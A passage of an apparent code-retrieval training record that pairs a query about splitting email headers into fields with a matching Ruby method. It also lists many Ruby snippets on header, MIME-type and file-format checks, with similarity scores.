"def mime_type\n has_content_type? ? header[:content_type].string : nil rescue nil\n end",
"def image?\n return ( VALID_HEADERS.include? @hdr_reader )\n end",
"def multipart?\n http.headers[\"content-type\"] =~ /^multipart/\n end",
"def header?\r\n\t\ttrue\r\n\tend",
"def header?\r\n\t\ttrue\r\n\tend",
"def header?\n @header\n end",
"def header?\n @header\n end",
"def is_xml?\n not (@headers['Content-Type'] =~ /^application\\/xml.*/).nil?\n end",
"def match_headers?\n options.has_key? :match\n end",
"def ios_at_least? version\n version.to_f.round(3) <= ios_version.to_f.round(3)\n end",
"def is_mime_type? m\n MIME::Type.new m rescue false\n end",
"def is_mime_type? m\n MIME::Type.new m rescue false\n end",
"def valid_file_format?\n VALID_FILE_FORMAT. include? uri_extension\n end",
"def invalid_mime_type?\n mime_type =~ /(text|html|x-empty|octet-stream|ERROR|zip|jar)/\n end",
"def header?(key)\n key.is_a?(Numeric) || @headers.nil? || @headers.include?(key)\n end",
"def all_formats_encoded?\n self.webm_file.path && self.mp4_file.path && self.ogg_file.path ? true : false\n end",
"def open?\n return @header_data != nil\n end",
"def has_source_header?\n false\n end",
"def supported_format?\n !(@file_set.mime_type & self.class.supported_formats).empty?\n end",
"def has_attachment?\n @has_attachment ||=\n mime_parts(\"text/plain\").any? do |type, fn, id, content|\n fn && (type !~ SIGNATURE_ATTACHMENT_TYPE)\n end\n end",
"def is_html?\n not (@headers['Content-Type'] =~ /^application\\/html.*/).nil?\n end",
"def extension?\n @extension != \"\"\n end",
"def mime_version( val = nil )\n default :mime_version, val\n end",
"def has_signature?\n auth_info.include? \"signature\"\n end",
"def matches?(request)\n request.headers.fetch(:accept).include?(\"application/vnd.pieforproviders.v#{version}+json\")\n end",
"def core_media?(expected_version = nil)\n ua =~ /CoreMedia/ && detect_version?(full_version, expected_version)\n end",
"def valid?\n @header && ['200','301','302'].include?(@header.code)\n end",
"def valid_bugsnag_integrity_header(request)\n header = request[:request]['Bugsnag-Integrity']\n return !Maze.config.enforce_bugsnag_integrity if header.nil?\n\n digests = request[:digests]\n if header.start_with?('sha1')\n computed_digest = \"sha1 #{digests[:sha1]}\"\n elsif header.start_with?('simple')\n computed_digest = \"simple #{digests[:simple]}\"\n else\n return false\n end\n header == computed_digest\n end",
"def http_header?(name)\n name.start_with?(\"HTTP\") && !HTTP_NON_HEADERS.include?(name)\n end",
"def version?\n false\n end",
"def headerable?\n properties.include?(\"headerable\")\n end",
"def contents_detected?\n !is_openatrium? && installed_version.major < 7 if super\n end",
"def parse_atx_header_gfm_quirk\n text, id = parse_header_contents\n text.sub!(/[\\t ]#+\\z/, '') && text.rstrip!\n return false if text.empty?\n\n add_header(@src[\"level\"].length, text, id)\n true\n end",
"def header_line_rate?\n !additional_headers.nil? && additional_headers.include?(:line)\n end",
"def matchers?(req)\n @default || req.headers['Accept'].include?(\"application/vnd.glass.v#{@version}\")\n end",
"def post_processing_required?\n puts \"2.52.52.52.52.52.5 post_processing_required 2.52.52.52.52.52.5\"\n %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}.match(upload_content_type).present?\n end",
"def generated_unity3d_meta?\n return false unless extname == '.meta'\n return false unless lines.count > 1\n return lines[0].include?(\"fileFormatVersion: \")\n end",
"def media_type\n return unless headers['Content-Type']\n\n headers['Content-Type'].split(';').first\n end",
"def check_signature\n signature == \"ElfChnk\\x00\"\n end",
"def has_version?\n return (@name != @metaname)\n end",
"def json_mime?(mime)\n (mime == \"*/*\") || !(mime =~ /Application\\/.*json(?!p)(;.*)?/i).nil?\n end",
"def has_file_format?\n @file_format\n end",
"def file_valid?(file)\n mime = MIME::Types.type_for(file).first\n !mime.nil? && ACCEPTED_MIMES.include?(mime.content_type)\n end",
"def empty?\n no_headers.empty? rescue true\n end",
"def validate_content_type!(response)\n return unless media_type\n\n response_content_type = response.content_type\n expected_content_type = Praxis::MediaTypeIdentifier.load(media_type.identifier)\n\n unless expected_content_type.match(response_content_type)\n raise Exceptions::Validation.new(\n \"Bad Content-Type header. #{response_content_type}\" +\n \" is incompatible with #{expected_content_type} as described in response: #{self.name}\"\n )\n end\n end",
"def validate()\n cs = checksum()\n return cs == @header[LENGTH - 1]\n end",
"def matches?(request)\n highest_mime = request.accepts.first\n if accept_allstar\n highest_mime ? mime_types.any? { |m| highest_mime == m } : true\n else\n mime_types.any? { |m| highest_mime == m }\n end\n end",
"def supports_compressed_bodies_by_default?\n $client.version_support.es_version_5_x?\nend",
"def uses_extension?\n @format =~ /\\.[^\\.]+$/\n end",
"def valid_image_format?\n VALID_FILE_MIMETYPES.include? self.filetype\n end",
"def multipart?\n has_content_type? ? !!(main_type =~ /^multipart$/i) : false\n end",
"def known_format?(f)\n FORMAT_TO_CONTENT_TYPE[f]\n end",
"def pdf_ver_ok?(file)\n reader = PDF::Reader.new(file)\n (reader.page(1).raw_content.lines.count != 1) ? true : false\n end",
"def is_header?(fields)\n # parsing should ignore...\n # lines that are completely blank\n # lines that appear to be entirely delimiters\n\n return true if fields.empty?\n\n line = fields.join\n\n # these are probably horizontal markers between any header text and the actual data\n return true if line =~ /^[-=*_\\s]*$/\n\n return true unless line =~ /\\d/\n\n return true if line =~ /^\\s*[A-Za-z ]+$/\n\n # this line looks significant, keep it in.\n false\n end",
"def acceptable_content_type?\n content_type.blank? || Mime::HTML == content_type\n end",
"def multipart?\n true unless parts.empty?\n end",
"def has_version?; end",
"def validate_content_type( valid )\n raise Atom::HTTPException, \"HTTP response contains no Content-Type!\" if not self.content_type or self.content_type.empty?\n\n media_type = self.content_type.split(\";\").first\n\n unless valid.member? media_type.downcase\n raise Atom::WrongMimetype, \"unexpected response Content-Type: #{media_type.inspect}. should be one of: #{valid.inspect}\"\n end\n end",
"def version_requested?\n @version_requested\n end",
"def is_audio?\n result = false\n if !mime_type.blank?\n splits = mime_type.split('/')\n if splits[0] == AUDIO\n result = true\n end\n end\n \n result\nend",
"def supports_derivatives?\n (attachment_content_type =~ %r{^(image|(x-)?application)/(bmp|jpeg|jpg|pjpeg|png|webp|x-png)$}).present?\n end",
"def json_mime?(mime)\n (mime == '*/*') || !(mime =~ /Application\\/.*json(?!p)(;.*)?/i).nil?\n end",
"def json_mime?(mime)\n (mime == '*/*') || !(mime =~ /Application\\/.*json(?!p)(;.*)?/i).nil?\n end",
"def json_mime?(mime)\n (mime == '*/*') || !(mime =~ /Application\\/.*json(?!p)(;.*)?/i).nil?\n end",
"def json_mime?(mime)\n (mime == '*/*') || !(mime =~ /Application\\/.*json(?!p)(;.*)?/i).nil?\n end",
"def is_header?\n return false unless contains_data?\n return false if spent_finance.present?\n return false if planned_finance.present?\n return false unless only_code_and_name_present?\n true\n end",
"def has_outgoing_headers?\n !!(raw_headers =~ /^X\\-Postal\\-MsgID\\:/i)\n end",
"def has_outgoing_headers?\n !!(raw_headers =~ /^X\\-Postal\\-MsgID\\:/i)\n end",
"def negotiate_mime(order); end",
"def narration_present?\n content_types_xml = nil\n pres_doc = @files.file.open '[Content_Types].xml' rescue nil\n content_types_xml = Nokogiri::XML::Document.parse(pres_doc) if pres_doc\n content = content_types_xml.xpath('//@Extension')\n if content.to_s.include?('m4a')\n @type = 'm4a'\n @narration = true\n end\n if content.to_s.include?('wav')\n @type = 'wav'\n @narration = true\n end\n end",
"def has_opts?\n header_len > 20\n end",
"def valid_header?(header)\n return false if header.empty?\n length = -1\n header.each do |row|\n return false if row.empty?\n length = row.size if length == -1\n return false if row.size != length\n end\n true\n end",
"def valid_version?\n !statement[\"ver\"].empty?\n end",
"def content_mime_type; end"
] |
[
"0.9108818",
"0.70529276",
"0.6964974",
"0.6742308",
"0.67371166",
"0.6606519",
"0.6601112",
"0.65926987",
"0.65809846",
"0.6580691",
"0.6572181",
"0.65576136",
"0.65226924",
"0.6485858",
"0.6467491",
"0.64614755",
"0.64311296",
"0.6415586",
"0.6402825",
"0.63520205",
"0.6348228",
"0.63351315",
"0.63231605",
"0.63192004",
"0.63097894",
"0.62837374",
"0.6240124",
"0.6232735",
"0.61812925",
"0.6179612",
"0.6179612",
"0.61549205",
"0.61549205",
"0.6151299",
"0.6147201",
"0.61335397",
"0.6068483",
"0.6068483",
"0.60251313",
"0.6011276",
"0.6008425",
"0.5985512",
"0.59739083",
"0.59401345",
"0.593441",
"0.5933558",
"0.59308445",
"0.5897614",
"0.5893706",
"0.5874632",
"0.58698326",
"0.58696115",
"0.58512545",
"0.584096",
"0.58384",
"0.58278656",
"0.58121276",
"0.5810177",
"0.57995766",
"0.57989264",
"0.57956535",
"0.5794888",
"0.57944655",
"0.57819664",
"0.5777912",
"0.5771821",
"0.5767818",
"0.5764558",
"0.57630265",
"0.5762831",
"0.5759746",
"0.57554436",
"0.5748435",
"0.57348233",
"0.5733914",
"0.5724083",
"0.5722628",
"0.57221985",
"0.5716424",
"0.57121086",
"0.5710818",
"0.5708815",
"0.57051563",
"0.5692104",
"0.5684805",
"0.56775427",
"0.5676796",
"0.56745815",
"0.56745815",
"0.56745815",
"0.56745815",
"0.5674478",
"0.5665486",
"0.5665486",
"0.5653795",
"0.56416595",
"0.5641537",
"0.56395936",
"0.56373584",
"0.56357867"
] |
0.8264613
|
1
|
Splits an unfolded and line break cleaned header into individual field strings.
|
def split_header
self.fields = raw_source.split(HEADER_SPLIT)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initial_Headers_Split(initial_and_headers)\n\tif initial_and_headers.include?(\"\\r\\n\") # if body exist, a blank line must exist\n\t\tinitial,headers = initial_and_headers.split(\"\\r\\n\",2)\n\telse\n\t\tinitial,headers = initial_and_headers,''\n\tend\nend",
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"def seperate_headers()\n\t\[email protected](\"\\n\\n\")[0].split(\"\\n\", 2)[1]\n\tend",
"def split_header_value(str)\n str.scan(/((?:\"(?:\\\\.|[^\"])+?\"|[^\",]+)+)\n (?:,\\s*|\\Z)/xn).collect{|v| v[0] }\nend",
"def split_header_string(header_string)\n range_spec, *params = header_string.split(';')\n [range_spec.strip, params.map { |s| s.strip }]\n end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def parse_header_line(header_str)\n @headers = header_str.split(',')\n @headers.map! do |h|\n h.gsub!('\"','')\n h.strip!\n h.underscore.to_sym\n end\n @headers\n end",
"def separate_header(header)\n xsc, non_xsc, xsc_key = {}, \"\", nil\n\n header.split(\"\\n\").each do |line|\n if line =~ /^X-SC-([^:]+):(.*)/i\n xsc_key = $1.downcase\n xsc[xsc_key] = $2.to_s.strip\n\n elsif line =~ /^\\s/ && xsc_key\n xsc[xsc_key] += \" \" + line\n\n else\n xsc_key = nil\n non_xsc += line + \"\\n\"\n end\n end\n return [xsc, non_xsc]\n end",
"def separate_header(header)\n xsc, non_xsc, xsc_key = {}, \"\", nil\n\n header.split(\"\\n\").each do |line|\n if line =~ /^X-SC-([^:]+):(.*)/ni\n xsc_key = $1.downcase\n xsc[xsc_key] = $2.to_s.strip\n\n elsif line =~ /^\\s/ && xsc_key\n xsc[xsc_key] += \" \" + line\n\n else\n xsc_key = nil\n non_xsc += line + \"\\n\"\n end\n end\n return [xsc, non_xsc]\n end",
"def split_header_from_body(lines)\n\t\thead, tail = \n\t\t\tlines\n\t\t\t.each_with_index # iterate with indexes (generates pairs)\n\t\t\t.partition{|x,i| i < lines.rindex('---')} # split into before and after the final '---'\n\t\t\t.collect{|i| i.collect{|j| j.first}} # flatten inner array, discarding indexes\n\t\t\n\t\t# discard first element of both arrays\n\t\t# (those are just the '---' lines)\n\t\thead.shift\n\t\ttail.shift\n\t\t\n\t\treturn head, tail\n\tend",
"def parse_header( data )\n k,v = data.split(\"\\0\", 2)\n return [k, v.delete(\"\\0\")]\n end",
"def split_header_list\n %w[artist copyright character general meta]\n end",
"def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"def sanitize_header_field(value)\n output = \"\"\n\n value = value.to_s.gsub(/\\r\\n/, \"\\n\")\n\n value.each_char{|c|\n case c\n when \"\\\\\", \"|\"\n output += \"\\\\\" + c\n when \"\\n\", \"\\r\"\n output += \" \"\n else\n output += c\n end\n }\n\n return output\n end",
"def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end",
"def fields(string)\n string.split(/[,\\t ]+/)\nend",
"def split_first_line(line)\n title, date, tags = line.split('|')\n tags = tags.strip.split(',')\n return title, date, tags\nend",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def process_header_old(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # If the field group does not exist, create one\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n\n return @child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend",
"def fields(string)\n string.split(/[\\t, ]+/) #split on all one or more instances of tabs, commas, or spaces\nend",
"def proper_headers(arr)\n\t\tarr.first.map! {|i| i.split(/(?=[A-Z])/).join(' ')}\n\tend",
"def extract_parts\n parts_regex = /\n (?: # non-capturing group\n \\A | # start of string OR\n \\r\\n # line break\n )\n (\n --#{Regexp.escape(boundary || \"\")} # boundary delimiter\n (?:--)? # with non-capturing optional closing\n )\n (?=\\s*$) # lookahead matching zero or more spaces followed by line-ending\n /x\n parts = raw_source.split(parts_regex).each_slice(2).to_a\n parts.each_with_index { |(part, _), index| parts.delete_at(index) if index > 0 && part.blank? }\n\n if parts.size > 1\n final_separator = parts[-2][1]\n parts << [\"\"] if final_separator != \"--#{boundary}--\"\n end\n parts.map(&:first)\n end",
"def split_request_message(message)\n header_and_body = message.split(/\\n\\n/)\n if header_and_body[0]\n message_type = header_and_body[0].split(/\\n/)[0]\n header_element = header_to_hash(header_and_body[0])\n end\n return message_type, header_element, header_and_body[1]\n end",
"def non_standardized_header(row)\n @header=row.split(/\\s{2}+/).reject{|a|a.empty?} \n @header[1].insert(8,'--')\n @header[1]=@header[1].split(/--/)\n @header.insert(1,'Incep Date')\n @[email protected]\n end",
"def getfields(obj, delim)\n\t\tobj.to_s.strip.gsub(/[#{delim}]+$/, '').split(delim)\n\tend",
"def normalise_source_header(header_name)\n # Run regex to see if it matches expected format\n source_match = self.class.source_header_regex.match header_name\n\n if source_match\n # Set header name as source#part where:\n # # is num\n # part is ref, date, place or orig_reference\n norm_header_name = 'source' + source_match[1]\n\n # Add last part of source string (date, place, ref) to header if available\n # Default is orig_reference\n suffix = source_match[2] || 'orig_reference'\n norm_header_name += suffix\n\n return norm_header_name\n end\n nil\n end",
"def fields(str)\n str.split(/\\,|\\t/).each { |str| str.strip!}\nend",
"def from_s(header)\n reset\n\n # ghettoooooo!\n # If we don't have any newlines..., put one there.\n if (header.size > 0 && header !~ /\\r\\n/)\n header << \"\\r\\n\"\n end\n\n # put the non-standard line terminations back to normal\n # gah. not having look behinds suck,\n header.gsub!(/([^\\r])\\n/n,'\\1' + \"\\r\\n\")\n\n # undo folding, kinda ugly but works for now.\n header.gsub!(/:\\s*\\r\\n\\s+/smni,': ')\n\n # Extract the command string\n self.cmd_string = header.slice!(/.+\\r\\n/)\n\n # Extract each header value pair\n header.split(/\\r\\n/mn).each { |str|\n if (md = str.match(/^(.+?)\\s*:\\s*(.+?)\\s*$/))\n if (self[md[1]])\n self[md[1]] << \", \" + md[2]\n else\n self[md[1]] = md[2]\n end\n end\n }\n end",
"def parse_headers\n headers = {}\n @request.lines[1..-1].each do |line|\n # puts line.inspect\n # puts line.split.inspect\n return headers if line == \"\\r\\n\" # Because HTTP header's last line will be /r/n we return bc we're done\n header, value = line.split\n header = normalize(header)\n headers[header] = value\n end\n \n return headers\n end",
"def extract_header(content)\n return \"\" if content.blank?\n content.split(/\\r\\n\\r\\n|\\n\\n/).first\n end",
"def parse_headers(row = nil)\n if @headers.nil? # header row\n @headers = case @use_headers # save headers\n # Array of headers\n when Array then @use_headers\n # HBCSV header String\n when String\n self.class.parse_line( @use_headers,\n col_sep: @col_sep,\n row_sep: @row_sep,\n quote_char: @quote_char )\n # first row is headers\n else row\n end\n\n # prepare converted and unconverted copies\n row = @headers if row.nil?\n @headers = convert_fields(@headers, true)\n @headers.each { |h| h.freeze if h.is_a? String }\n\n if @return_headers # return headers\n return self.class::Row.new(@headers, row, true)\n elsif not [Array, String].include? @use_headers.class # skip to field row\n return shift\n end\n end\n\n self.class::Row.new(@headers, convert_fields(row)) # field row\n end",
"def sanitize_header_field(value)\n value.to_s\n .gsub(\"\\r\\n\", \"\\n\")\n .gsub(HEADER_FIELD_SANITIZER_PATTERN, HEADER_FIELD_SANITIZER_MAPPING)\n end",
"def decode_captured_headers(string)\n string.split('|', -1).map! { |header| unescape(header) }\n end",
"def decode_captured_headers(string)\n string.split('|', -1).map! { |header| unescape(header) }\n end",
"def fields(text) \n p text.split(/[,\\s]+/)\nend",
"def column_headers(data)\n data.find { |line| line.split(' ').first.downcase == HEADER_INDICATOR }.split(' ')\n end",
"def clean_col_header (hdr)\r\n\t\t\t# Conversion is:\r\n\t\t\t# - strip flanking space\r\n\t\t\t# - convert all internal non-alphanumerics to underscores\r\n\t\t\t# reduce consequetive underscores to a single one\r\n\t\t\t# TODO: strip flanking underscores\r\n\t\t\tclean_str = hdr.downcase.strip.gsub(/\\W+/, '_')\r\n\t\t\treturn clean_str.gsub(/_+/, '_')\r\n\t\tend",
"def header\n @raw.split(\"--\" + boundary)[0]\n end",
"def parse_header(header_line)\n entries = delete_special_chars(header_line)\n # switch entries for geo coordinates since latitude comes before longitude\n geo_coordinate = Entity::Coordinate.new(entries[6].to_f, entries[5].to_f)\n @grid_data = Entity::GridPoint.new(entries[8].to_f, entries[9].to_f,\n entries[12].to_f, entries[11].to_f)\n # special case for multi word locations\n station_name = entries[0].sub(\"_\", \" \")\n @station = Entity::Station.new(station_name, entries[3], entries[13].to_f,\n geo_coordinate)\n nil\n end",
"def is_header?(fields)\n # parsing should ignore...\n # lines that are completely blank\n # lines that appear to be entirely delimiters\n\n return true if fields.empty?\n\n line = fields.join\n\n # these are probably horizontal markers between any header text and the actual data\n return true if line =~ /^[-=*_\\s]*$/\n\n return true unless line =~ /\\d/\n\n return true if line =~ /^\\s*[A-Za-z ]+$/\n\n # this line looks significant, keep it in.\n false\n end",
"def initialandheaders_Body_Split(request)\n\tif request.include?(\"\\r\\n\\r\\n\") # if body exist, a blank line must exist\n\t\tinitial_and_headers,body = request.split(\"\\r\\n\\r\\n\",2)\n\telse\n\t\tinitial_and_headers,body = request,''\n\tend\nend",
"def split_definition(raw_def)\r\n # TODO: your implementation here\r\n i = 0\r\n while (i < raw_def.size)\r\n raw_def[i].gsub! /\\s\\n/, \"\\n\"\r\n raw_def[i].gsub! /\\n+/, \"\\n\"\r\n raw_def[i].gsub! /\\t/, ''\r\n i += 1\r\n end\r\n x = 0\r\n newArr = []\r\n mod_def = []\r\n until x >= raw_def.size do\r\n if (raw_def[x][0] == \"\\n\")\r\n mod_def[x] = raw_def[x][1..-1]\r\n else\r\n mod_def[x] = raw_def[x]\r\n end\r\n newArr[x] = mod_def[x].split(/\\t?\\s?;\\s?\\n?/)\r\n x += 1\r\n end\r\n\r\n j = 0\r\n while (j < newArr.size)\r\n newArr[j].unshift(newArr[j][0][0..newArr[j][0].index(\">\")].gsub(/\\s*/, \"\"))\r\n if newArr[j][0] == \"<blank>\"\r\n newArr[j][1] = \"\";\r\n else\r\n newArr[j][1] = newArr[j][1][newArr[j][1].index(\">\") + 2..-1]\r\n end\r\n j += 1\r\n end\r\n\r\n k = 0\r\n while (k < newArr.size)\r\n l = 0\r\n while (l < newArr[k].size)\r\n newArr[k][l].gsub! /\\n+/, ' '\r\n l += 1\r\n end\r\n k += 1\r\n end\r\n\r\n return newArr\r\nend",
"def actual_header\n data.lines.first.chomp\n end",
"def parse_header_contents; end",
"def parse_header(string)\n {\n # identificação do registro header (conteúdo 0)\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # código da empresa no bradesco\n :codigo_empresa => string[26..45].strip,\n # razão social da empresa\n :razao_social => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => convert_date(string[94..99]),\n # brancos\n #:brancos1 => string[100..107],\n # número aviso bancário\n :numero_aviso_bancario => string[108..112],\n # brancos\n #:brancos2 => string[113..378],\n # data de crédito dos lançamentos\n :data_credito => convert_date(string[379..384]),\n # brancos\n #:brancos3 => string[385..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def parse_header_contents\n text = @src[\"contents\"]\n text.rstrip!\n id_match = HEADER_ID.match(text)\n if id_match\n id = id_match[\"id\"]\n text = text[0...-id_match[0].length]\n text.rstrip!\n end\n [text, id]\n end",
"def split_by_delimiter(delimiter = self.class.parsing_delimiter)\n return '' if body.nil? || body.empty?\n lines = body.split(\"\\n\")\n delim_line = last_line = found_empty = nil\n \n lines.each_with_index do |line, i|\n next if delim_line\n delim_line = i if line.include?(delimiter)\n end\n \n while !last_line && delim_line.to_i > 0\n delim_line = delim_line - 1\n if found_empty\n last_line = delim_line if lines[delim_line].strip.size > 0\n else\n found_empty = true if lines[delim_line].strip.size.zero?\n end\n end\n \n if last_line\n lines[0..delim_line] * \"\\n\"\n elsif delim_line.nil?\n body.strip\n else\n ''\n end\n end",
"def headers\n @headers ||= begin\n @mail.header.fields.inject({}) do |memo, field|\n name = field.name.downcase.to_s\n next memo if self.class.skipped_headers.include?(name)\n\n header = unquoted_header(name)\n memo.update(name => self.class.unescape(header))\n end\n end\n end",
"def parseHeaders(request) \n headers = {};\n\n # Loop through headers\n request.lines[1..-1].each do |line|\n # If we are moving to the next line, return what we currently have\n return headers if line == \"\\r\\n\"\n\n # Structure data\n header, value = line.split\n header = header.gsub(\":\", \"\").downcase.to_sym\n headers[header] = value\n end\nend",
"def header(nheaders,hname)\n\t\t\tnheaders.each_line do |lh|\n\t\t\t\tn,v = lh.split(\": \")\n\t\t\t\tif n == hname\n\t\t\t\t\treturn v\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn hstr\n\t\tend",
"def tabular_input_cleanse_header\n ignored_columns = tabular_input.header.cleanse!\n logger.warn('Stripped out invalid columns from custom header', ignored_columns) unless ignored_columns.empty?\n\n self.tabular_input_header = tabular_input.header.columns\n end",
"def parse_rfc822_header(input)\n headers = Hash.new\n previous = nil\n input.each_line do |line|\n line = line.chomp\n break if line.empty? # Stop at first blank line\n case line\n when /^([^: \\t]+):\\s+(.*)$/\n raise \"Multiple definitions of header '#{$1}'.\" if headers.has_key?($1)\n headers[previous = $1] = $2\n when /^\\s+(.*)$/\n if not previous.nil? and headers.has_key?(previous)\n headers[previous] << \"\\n\" + $1.lstrip\n else\n raise \"Invalid header continuation.\"\n end\n else\n raise \"Invalid header format.\"\n end\n end\n return headers.empty? ? nil : headers\nend",
"def structured_parts(line_86)\n line_86.split(/(>\\d{2})/)\n end",
"def split_line(line)\n line.split(Mergeit::Config::FILE_FORMAT[:delimeter], Mergeit::Config::SUPPORTED_PARTS[:size])\n end",
"def parse_header\n @snp, @line, @type, @in, @polymorphism, @chromosome, @orientation = self.sequence_id.split(\" \") \n @type = @type.to_sym\n if @in\n @in = @in.to_sym == :exon \n else\n @exon = false\n end\n\n if @polymorphism.to_sym == :homoeologous\n @homoeologous = true\n else\n @homoeologous = false\n end\n @parsed = true\n @orientation = @orientation.to_sym\n end",
"def fields(string)\n string.split(/\\W+/)\nend",
"def remove_fws headers_with_fws\n headers = Array.new\n headers_with_fws.each_line do |line|\n next if line =~ /^\\s+$/ # If line is empty\n next if line =~ /^((?!:)[\\s\\S])*$/ && headers.size == 0 # If they're trying to pull a fast one\n line =~ /^\\s/ ? headers[-1] += line.strip : headers << line.strip\n end\n headers\n end",
"def extract_multi_value_field(header, val, processed, key = nil)\n key ||= header.to_sym\n processed[key] ||= []\n val = val.strip\n # Workaround for https://jira.duraspace.org/browse/FCREPO-2038\n val.delete!(\"\\r\")\n processed[key] << (looks_like_uri?(val) && Image.controlled_properties.include?(header.to_sym) ? RDF::URI(val) : val)\n end",
"def normalise_headers(headers)\n norm_headers = []\n\n headers.each_with_index do |header_name, i|\n # Process the current header\n normalised_header = normalise_header header_name\n\n # Add header name to index of normalised header names\n norm_headers[i] = normalised_header\n end\n\n norm_headers\n end",
"def parse!\n self.fields = []\n\n # split transactions, each transaction starts with a colon after a linebreak\n # do not remove line breaks within transaction lines as they are used to determine field details\n # e.g. :61:-supplementary\n source.split(\"\\n:\").each(&:strip!).each do |line|\n line = \":#{line}\" unless line =~ %r{^:} # prepend lost : via split\n\n if line.match(/\\A:86:/)\n if field = fields.last\n field.add_meta_data(line)\n end\n else\n field = Field.parse(line)\n self.fields << field unless field.nil?\n end\n end\n end",
"def pre_process(text_line)\n processed_line = \"\"\n if text_line.slice(0..1)== \"LD\" && text_line.slice(14..20) == 'XXXXXXX'\n if @false_header_loaded\n processed_line = \"DT\" + text_line.slice(2..text_line.length())\n else\n processed_line = \"DH\" + text_line.slice(2..text_line.length())\n end\n elsif text_line.slice(0..1)== \"LD\"\n @false_header_loaded = true\n processed_line = text_line\n else\n processed_line = text_line\n end\n\n return processed_line\n\n end",
"def parse_headers(raw_headers)\n # raw headers from net_http have an array for each result. Flatten them out.\n raw_headers.inject({}) do |remainder, (k, v)|\n remainder[k] = [v].flatten.first\n remainder\n end\n end",
"def parse!\n if /^(?<key>.*?):(?<value>.*)/m =~ @raw\n @key = key.strip\n @value = value.strip\n else\n raise \"Unable to parse Header: #{@raw}\"\n end\n end",
"def process_header(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # puts \"Here is the first_field: #{first_field}\"\n dynamic_field_group_type = first_field.gsub(/\\d*/,'')\n # puts \"Here is the dynamic_field_group_type: #{dynamic_field_group_type}\"\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type] = {first_field => @child_field_groups[first_field]}\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type] = { first_field => @child_field_groups[first_field] }\n @child_dynamic_field_groups_by_type[dynamic_field_group_type] = \n Hash.new unless child_dynamic_field_groups_by_type.has_key? dynamic_field_group_type\n @child_dynamic_field_groups_by_type[dynamic_field_group_type][first_field] = @child_field_groups[first_field]\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type].store [first_field] = @child_field_groups[first_field]\n\n return 